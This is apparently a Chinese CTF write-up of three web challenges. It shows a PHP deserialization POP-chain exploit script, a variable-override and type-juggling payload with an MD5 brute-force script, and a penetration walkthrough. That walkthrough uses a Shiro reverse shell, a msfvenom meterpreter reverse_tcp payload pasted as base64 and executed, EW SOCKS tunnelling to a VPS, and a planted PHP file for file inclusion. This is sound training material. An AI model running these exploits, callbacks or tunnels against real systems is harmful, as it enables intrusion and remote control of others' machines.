前言
当你对获奖不抱希望的时候,做题就只剩下了单纯的快乐
做出三道web,继续努力
赌徒
简单题,上去发现一行提示,除此以外什么都没有,扫一波目录
有www.zip
,下载查看源码
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
经典反序列化,主要是触发魔法函数
魔法函数 | 触发 |
---|---|
__get | 获取对象中参数时触发,即使参数不存在也会触发 |
__construct | 构造函数,对象创建时触发 |
__wakeup | 反序列化时触发 |
__sleep | 序列化时触发 |
__invoke | 当对象被作为一个方法调用时触发 |
__toString | 直接输出对象引用时调用 |
通过不断触发魔法函数最终调用到file_get_contents
就是我们的目标
Start中__wakeup中调用_sayhello,echo $name触发toString
|
|
toString中两次调用,使file['filename']为new Room,触发__get
|
|
__get中把$a作为方法使用,使$a=new Room,触发__invoke
|
|
__invoke中调用Get_hint,参数为$filename
最终exp如下:
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public $file;
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
}
class Room
{
public $filename='/etc/hint';
public $sth_to_set;
public $a;
}
$start=new Start();
$info=new Info();
$room=new Room();
$room->a=$room;
$info->file['filename']=$room;
$start->name=$info;
echo urlencode(serialize($start));
拿到hint,让我们访问gm3.php,访问后发现是投硬币,好家伙谁跟他玩这个?继续用之前的脚本读源码,盲猜目录为/var/www/html/gm3.php
成功读出,当猜硬币成功5次后,包含/flag
文件
直接读/flag
,拿flag
寻宝
简单题二,究极套娃题目
进去是两个线索,分别从里面拿到KEY提交才有flag
线索1:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
if(isset($num1) && is_numeric($num1)){
die("非数字");
}
else{
if($num1 > 1024){
echo "第一层";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二层";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
echo "第三层";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四层";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五层";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}
给了extract
函数,明摆着让你做变量覆盖,数组当然也可以覆盖,php甚至还可以把数组覆盖为常量
filter
过滤了一些非预期,不需要看
那接下来一层层看
- num1
is_numeric
函数用来判断一个参数是否为数字,但它的判定范围很广,16进制的字符串也会被它识别为数字,但如果你是$num1='1000'
这样,他会认为你是一个字符串。我们变量覆盖后的值都是以字符串形式存在,所有我们传一个16进制且满足后面>1024
条件的数进去就行 - num2
长度小于等于4,但要求intval($num2+1)
大于500000,脑筋急转弯,intval会识别科学计数法,传个科学计数法的值就行 - num3
匹配md5($num3)
的前7位,爆破一下就行import hashlib for i in range(10000000000): md5=hashlib.md5() md5.update(str(i).encode('utf-8')) if md5.hexdigest()[0:7] == '4bf21cd': print(str(i),md5.hexdigest()) break
- num4
不小于0且等于0且小于等于0,意思就是值为0,长度大于4小于8
php弱类型判断的特性,以0开头的字符串都会被认作0,随便传一个就完事 - num5
json_decode
,传一个json类型的值进去
$y = $b === NULL
本质上是$b===NULL
,跟\$y没啥关系,让\$y=true就行
最终构造payload:
ppp[number1]=1065b&ppp[number2]=1e10&ppp[number3]=61823470&ppp[number4]=0a12345&ppp[number5]={"y":'true',"b":NULL}
完事后拿到KEY1
线索二是个压缩包,说记录了画展五月每天的信息,里面藏着KEY2
故作玄虚,本质上也是脑洞题目,win文件管理器,设置搜索文件内容,搜索KEY2,藏在某个word里面,明文
提交两个KEY,获取flag
Hard_Penetration
题目内容:渗透测试主要以获取权限为主,这一次,你能获取到什么权限呢。
提权题目没跑了
开容器,尝试登录,抓包发现返回值里面有RemberMe
shiro漏洞,exp直接跑,没用回显直接弹shell
ctf用户,听着权限就很低,一查连命令都没几个,curl、wget等命令都没有,那先上一个msf的木马,msf的木马可以做简单上传,且功能多
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=[ip] lport=7772 -f elf | base64
获得一串base64编码后的elf文件
在msf上开启监听
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
run
在反弹shell上执行:
//找一个可写目录,一般shell进来的地方都能写,如 /tmp
echo "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB
AAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQ
AAAAAAAASDH/aglYkbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtI
l0i5AgAeXGUg1cpRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5
x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==" | base64 > 1.elf
chmod +x 1.elf
./1.elf
获得一个msf木马
查看网络信息,发现没有外网ip,只有127.0.0.1和一个内网ip,可能是要内网渗透
用msf上传ew_for_linux64,做内网穿透
VPS上执行:
./ew_for_linux64 -s rcsocks -l 7774 -e 7775
目标机器:
./ew_linux_x64 -s rssocks -d 公网IP -e 7775
本机连接VPS的774端口,完成内网穿透
扫一下内网ip,发现8005端口有web服务,是一个BaoCMS,上github上把源码找下来https://github.com/IsCrazyCat/demo-baocms-v17.1
前端模糊测试,发现很多功能只是摆设,后端存在但没有弱口令,初步排除主页和功能页存在漏洞
seay发现一个角落里的文件存在包含漏洞,/Tudou/Lib/barcodegen/html/image.php
,这里放它的部分源码
if(isset($_GET['code'], $_GET['t'], $_GET['r'], $_GET['rot'], $_GET['text'], $_GET['f1'], $_GET['f2'], $_GET['o'], $_GET['dpi'], $_GET['a1'], $_GET['a2']))
……
if(include($class_dir . '/BCG' . $_GET['code'] . '.barcode.php'))
……
$codebar = 'BCG' . $_GET['code'];
$code_generated = new $codebar();
一开始以为是反序列化,因为有个任意对象创建且CMS基于thinkphp,半天没搞出来,回想起扫描器报的是文件包含,上面存在一个文件包含,可以用../
回溯。在php中一个不存在的目录abc,在include(./abc/../image.php)
中没有任何影响。但后面没办法截断,没办法包含flag
此时,你应该想到,我们的目的是提权,shell已经在我们手上了,那我们可以在服务器上写一个php文件让它包含啊
echo "<?php system('cat /flag');?>" > /tmp/s.barcode.php
//后面无法截断,所以后缀为固定格式 .barcode.php
之后传入$code=/../../../../../../../../s
和其他参数,实现文件包含,拿到flag
Comments | NOTHING